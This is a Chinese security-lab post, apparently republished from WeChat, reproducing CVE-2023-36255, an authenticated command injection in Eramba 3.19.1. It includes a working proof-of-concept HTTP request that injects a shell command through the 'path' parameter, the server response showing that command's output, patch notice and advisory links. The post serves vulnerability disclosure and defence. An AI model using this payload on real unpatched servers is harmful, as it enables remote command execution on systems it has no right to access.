网安引领时代，弥天点亮未来
Eramba是英国Eramba公司的一款开源的企业级IT治理应用程序。该程序具有IT安全、合规性审计分析等功能。
Eramba 3.19.1版本存在代码注入漏洞，该漏洞源于Eramba Web 应用程序允许经过身份验证的用户的代码执行，攻击者利用该漏洞可以修改 URL 中的参数path，在应用程序运行的用户帐户上下文中执行命令。
Eramba 3.19.1版本
1.访问漏洞环境
注意：需要合法用户登录
2.对漏洞进行复现
POC （GET）
GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1Host: [redacted]Cookie: translation=1; csrfToken=1l2rXXwj1D1hVyVRH%2B1g%2BzIzYTA3OGFiNWRjZWVmODQ1OTU1NWEyODM2MzIwZTZkZTVlNmU1YjY%3D; PHPSESSID=14j6sfroe6t2g1mh71g2a1vjg8User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://[redacted]/settingsUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close
漏洞复现（状态码500）可能存在漏洞
漏洞存在请求与响应
HTTP request:
GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1Host: [redacted]Cookie: translation=1; csrfToken=1l2rXXwj1D1hVyVRH%2B1g%2BzIzYTA3OGFiNWRjZWVmODQ1OTU1NWEyODM2MzIwZTZkZTVlNmU1YjY%3D; PHPSESSID=14j6sfroe6t2g1mh71g2a1vjg8User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateReferer: https://[redacted]/settingsUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: close
HTTP response:
HTTP/1.1 500 Internal Server ErrorDate: Fri, 31 Mar 2023 12:37:55 GMTServer: Apache/2.4.41 (Ubuntu)Access-Control-Allow-Origin: *Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Disposition: attachment; filename="test.pdf"X-DEBUGKIT-ID: d383f6d4-6680-4db0-b574-fe789abc1718Connection: closeContent-Type: text/html; charset=UTF-8Content-Length: 2033469<!DOCTYPE html><html><head><meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Error: The exit status code '127' says something went wrong:stderr: "sh: 1: --dpi: not found"stdout: "1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope hostvalid_lft forever preferred_lft forever2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether [redacted] brd ff:ff:ff:ff:ff:ffinet [redacted] brd [redacted] scope global ens33valid_lft forever preferred_lft foreverinet6 [redacted] scope linkvalid_lft forever preferred_lft forever"command: ip a; --dpi '90' --lowquality --margin-bottom '0' --margin-left '0'--margin-right '0' --margin-top '0' --orientation 'Landscape'--javascript-delay '1000' '/tmp/knp_snappy6426d4231040e1.91046751.html''/tmp/knp_snappy6426d423104587.46971034.pdf'. </title>[...]
目前厂商已发布升级补丁以修复漏洞，补丁获取链接：
http://eramba.com/https://trovent.io/security-advisory-2303-01/https://packetstormsecurity.com/files/173888/Eramba-3.19.1-Remote-Command-Execution.html
弥天简介
学海浩茫，予以风动，必降弥天之润！弥天弥天安全实验室成立于2019年2月19日，主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子，也是民间组织。主要以技术共享、交流等不断赋能自己，赋能安全圈，为网络安全发展贡献自己的微薄之力。
口号 网安引领时代，弥天点亮未来
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原文始发于微信公众号（弥天安全实验室）：Eramba代码执行漏洞(CVE-2023-36255)
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